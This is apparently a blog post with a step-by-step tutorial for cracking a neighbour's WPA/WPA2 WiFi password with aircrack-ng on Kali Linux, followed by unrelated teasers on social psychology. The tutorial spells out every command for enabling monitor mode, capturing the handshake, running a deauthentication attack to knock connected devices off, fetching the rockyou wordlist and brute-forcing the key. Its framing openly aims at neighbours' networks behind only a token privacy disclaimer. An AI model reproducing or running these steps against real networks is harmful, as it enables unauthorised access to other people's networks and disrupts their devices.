Skip to main content

Hacking WiFi passwords using aircrack-ng (Kali/other linux)

Hacking.. Wouldn't it be great if you can hack you neighbours wifi password and use that for rest of your life. Yeah it would be.. But there is a problem if they find out you can end up in jail. But for the purpose of your curosity I will tell you how can you hack the wifi password using Kali Linux. But use this only for the purpose of your curosity as it is a voilation of somebodies privacy. We don't recommend using this on strangers/friends/neighbours.. anybody.


Requirements:
  • Linux (I used Kali) - if you don't have Kali use this link 
  • aircrack-ng (apt-get install aircrack-ng)
  • Word dictionary (https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt)
I recommend installing/downloading them before you begin as the connection is lost when you begin the process.

Step 1: Open the terminal. Install aircrack
sudo apt-get install aircrack-ng
Complete the installation

Step 2:  Type airmon-ng command prompt. You will see the interfaces. Mostly it is wlan0

Step 3: Then type airmon-ng start wlan0, replace wlan0 with your interface name.


Step 4: Type iwconfig, to enable monitor mode interface. Then type airmon-ng check kill, this will kill all the processes that are raising a conflict. Also check the name of your monitor interface (usually mon0 or wlan0mon). In my case it was wlan0mon.

Step 5: Then use command airodump-ng wlan0mon. It will display all the router nearby. Select the router you want to hack. And copy its MAC id and channel number.

Step 6: Use this command to monitor the network for handshake.
airodump-ng -c <channel> --bssid <MAC> -w /root/Desktop/ wlan0mon
Replace:
  • <channel> with the channel number of the router
  • <MAC> with the mac address of the router
This will start the handshake process, now you have to just wait for device to connect to the router.

Step 7: (Deauth Attact, optional) If you impatient like me, you can use Deauth Attack. It will disconnect the device which is already connected to router and the device will connect again proving you the required information to hack the password. Just type on another terminal window

aireplay-ng -0 2 -a <MAC-router> -c <MAC-device> wlan0mon
Replace:
  • <MAC-router> with MAC address of router
  • <MAC-device> with MAC address of the device
*all the details will be on the airodump-ng window. Close the terminal after this

Step 8: Once "WPA handshake: " followed by MAC address of the router appears on upper-right of the airodump-ng terminal, you can close airodump-ng by pressing Ctrl+C.

Step 9: Go to desktop, there will be four new files. Rename *.csv file. mv ./-01.cap name.cap. Then download the wordlist file by using this command curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

Step 10: Using aircrack to crack the password,
aircrack-ng -a2 -b <MAC> -w rockyou.txt name.cap
Replace:
  • <MAC> with the mac of the router
  • use -a instead of -a2 for WPA. -a2 is used for WPA2.
If the password is in the wordlist, it will be displayed on the terminal window. Congrats!! You have hacked the your neighbours wifi.

Comments

Popular posts from this blog

Social Influence: Some tips and tricks

In our previous posts, we have learnt about some of the techniques in Social Psychology. Now in this post I want to tell you about some techniques that you can use in real life to influence people or to protect yourself from being influence by other people and make rash decisions. Some of the tips are: People more likely to help you when you ask them to imagine or predict doing something. Telling some stranger your name first can also be helpful when asking a favour. One can say “Hello, I am ___ and I was wondering whether you do me a favour.” Talking with people is more helpful that talking at people when asking for something/favour. Engaging people in dialogues rather than a monologue. Now I would like to tell you about the most commonly used persuasion techniques. These techniques are: 1.       Foot-in-the-door technique 2.       Door-in-the-face technique 3.       Low-ball technique N...

Obedience to Authority.. Milgram experiment

Obedience is a form of social influence where an individual acts in response to a direct order from another individual, who is usually an authority figure. It is assumed that without such an order the person would not have acted in this way. But this obedience can be harmful in some situations. The most famous example of this can be the Holocaust in Nazi Germany. Do we believe that all of the people in Nazi Germany wanted to kill those six million European Jew? No, but they were bound and ordered by the authorities to do so. This obedience to authority figures is in our nature. This can happen to all of us.  In one of the famous experiment, the nurses were told by the doctor to give a certain medicine to the patients which the nurses didn't know about. Out of 22 nurses which participated 21 gave those medicines to the patients. Now let's talk about the Milgram experiment. It was a series of social psychology experiments conducted by Yale University psychologist Stanl...

Conformity and Asch Experiment

Jump to search According to Wikipedia, Conformity is: Conformity is the act of matching attitudes, beliefs, and behaviors to group norms. Norms are implicit, specific rules, shared by a group of individuals, that guide their interactions with others. People often choose to conform to society rather than to pursue personal desires because it is often easier to follow the path others have made already, rather than creating a new one. In other words, Conformity is basically yielding to group or social pressure. Group pressure can be of many forms like bullying, teasing, criticism etc. Solomon Asch was one of the first scientist that worked on conformity and in turn influenced Miligram experiments . He is best known for his conformity experiments . His main finding was that peer pressure can change opinion and even perception.  Conformity, indicates agreement to the majority, which are brought by a desire to ‘fit in’ or to be liked (normative) or because of a...